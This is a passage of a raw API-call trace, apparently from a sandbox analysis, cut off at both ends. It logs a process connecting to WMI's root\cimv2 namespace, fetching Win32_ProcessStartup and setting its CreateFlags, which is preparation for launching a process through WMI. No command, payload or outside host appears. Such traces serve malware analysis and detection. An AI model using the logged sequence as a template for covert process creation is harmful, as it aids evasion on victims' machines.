ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0141.468] WbemLocator:IUnknown:AddRef (This=0x1bce6620) returned 0x3 [0141.468] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6620, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0141.468] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6620, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0141.468] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6620, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0141.468] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0141.468] CoGetContextToken (in: pToken=0x1bb7d0d0 | out: pToken=0x1bb7d0d0) returned 0x0 [0141.468] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0141.468] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6620, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0141.468] WbemLocator:IUnknown:Release (This=0x1bce6620) returned 0x2 [0141.468] WbemLocator:IUnknown:Release (This=0x1bce6620) returned 0x1 [0141.468] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0141.468] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0141.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6620, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bce6620) returned 0x0 [0141.470] WbemLocator:IUnknown:AddRef (This=0x1bce6620) returned 0x3 [0141.470] WbemLocator:IUnknown:Release (This=0x1bce6620) returned 0x2 [0141.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd98e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0141.470] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd98e0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0141.470] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd98e0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.470] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bce6640) returned 0x0 [0141.470] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bce6640, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bce8290) returned 0x0 [0141.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8290, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc432e0) returned 0x0 [0141.817] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc432e0, pProxy=0x1bce8290, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0141.818] WbemLocator:IUnknown:Release (This=0x1bc432e0) returned 0x1 [0141.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8290, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc43320) returned 0x0 [0141.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8290, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc432e0) returned 0x0 [0141.818] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc432e0, pProxy=0x1bce8290, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.818] WbemLocator:IUnknown:Release (This=0x1bc432e0) returned 0x2 [0141.818] WbemLocator:IUnknown:Release (This=0x1bc43320) returned 0x1 [0141.818] CoTaskMemFree (pv=0x1bcc32b0) [0141.818] WbemLocator:IUnknown:AddRef (This=0x1bce8290) returned 0x2 [0141.818] WbemLocator:IUnknown:Release (This=0x1bce6640) returned 0x0 [0141.819] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0141.819] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0141.819] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8290, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc432f0) returned 0x0 [0141.819] WbemLocator:IRpcOptions:Query (in: This=0x1bc432f0, pPrx=0x1bce6240, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0141.819] WbemLocator:IUnknown:Release (This=0x1bc432f0) returned 0x2 [0141.819] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0141.819] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0141.819] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8290, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bce8290) returned 0x0 [0141.819] WbemLocator:IUnknown:Release (This=0x1bce8290) returned 0x2 [0141.819] SysStringLen (param_1=0x0) returned 0x0 [0141.819] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9820, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0141.820] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9820, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0141.820] IWbemServices:GetObject (in: This=0x1bce8290, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa28890, ppCallResult=0x0) returned 0x0 [0141.821] IWbemClassObject:Get (in: This=0x1aa28890, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0141.821] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0141.822] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0141.822] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0141.822] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0141.822] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0141.822] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.824] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bce6640) returned 0x0 [0141.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6640, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0141.824] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6640, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bcd96a0) returned 0x0 [0141.824] WbemDefPath:IUnknown:Release (This=0x1bce6640) returned 0x0 [0141.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bcd96a0) returned 0x0 [0141.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0141.824] WbemDefPath:IUnknown:AddRef (This=0x1bcd96a0) returned 0x3 [0141.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0141.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0141.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bce61a0) returned 0x0 [0141.825] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce61a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.825] WbemDefPath:IUnknown:Release (This=0x1bce61a0) returned 0x3 [0141.825] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0141.825] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0141.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0141.825] WbemDefPath:IUnknown:Release (This=0x1bcd96a0) returned 0x2 [0141.825] WbemDefPath:IUnknown:Release (This=0x1bcd96a0) returned 0x1 [0141.825] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0141.825] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0141.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd96a0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bcd96a0) returned 0x0 [0141.825] WbemDefPath:IUnknown:AddRef (This=0x1bcd96a0) returned 0x3 [0141.825] WbemDefPath:IUnknown:Release (This=0x1bcd96a0) returned 0x2 [0141.825] WbemDefPath:IWbemPath:SetText (This=0x1bcd96a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0141.825] IWbemClassObject:Get (in: This=0x1aa28890, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2744d60*=0, plFlavor=0x2744d64*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2744d60*=19, plFlavor=0x2744d64*=0) returned 0x0 [0141.826] IWbemClassObject:Get (in: This=0x1aa28890, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2744d60*=19, plFlavor=0x2744d64*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2744d60*=19, plFlavor=0x2744d64*=0) returned 0x0 [0141.826] IWbemClassObject:Put (This=0x1aa28890, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0141.826] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9760, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0141.826] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0141.826] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0141.826] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.826] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0141.826] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0141.826] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0141.826] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.828] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bce5f60) returned 0x0 [0141.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5f60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0141.829] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5f60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bcd9520) returned 0x0 [0141.829] WbemDefPath:IUnknown:Release (This=0x1bce5f60) returned 0x0 [0141.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bcd9520) returned 0x0 [0141.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0141.829] WbemDefPath:IUnknown:AddRef (This=0x1bcd9520) returned 0x3 [0141.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0141.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0141.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bce5fa0) returned 0x0 [0141.829] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5fa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.829] WbemDefPath:IUnknown:Release (This=0x1bce5fa0) returned 0x3 [0141.829] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0141.829] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0141.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0141.830] WbemDefPath:IUnknown:Release (This=0x1bcd9520) returned 0x2 [0141.830] WbemDefPath:IUnknown:Release (This=0x1bcd9520) returned 0x1 [0141.830] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0141.830] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0141.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bcd9520) returned 0x0 [0141.830] WbemDefPath:IUnknown:AddRef (This=0x1bcd9520) returned 0x3 [0141.830] WbemDefPath:IUnknown:Release (This=0x1bcd9520) returned 0x2 [0141.830] WbemDefPath:IWbemPath:SetText (This=0x1bcd9520, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0141.830] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0141.830] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0141.830] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.830] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0141.830] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0141.830] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0141.830] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.831] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bce60c0) returned 0x0 [0141.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce60c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0141.831] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce60c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bce60e0) returned 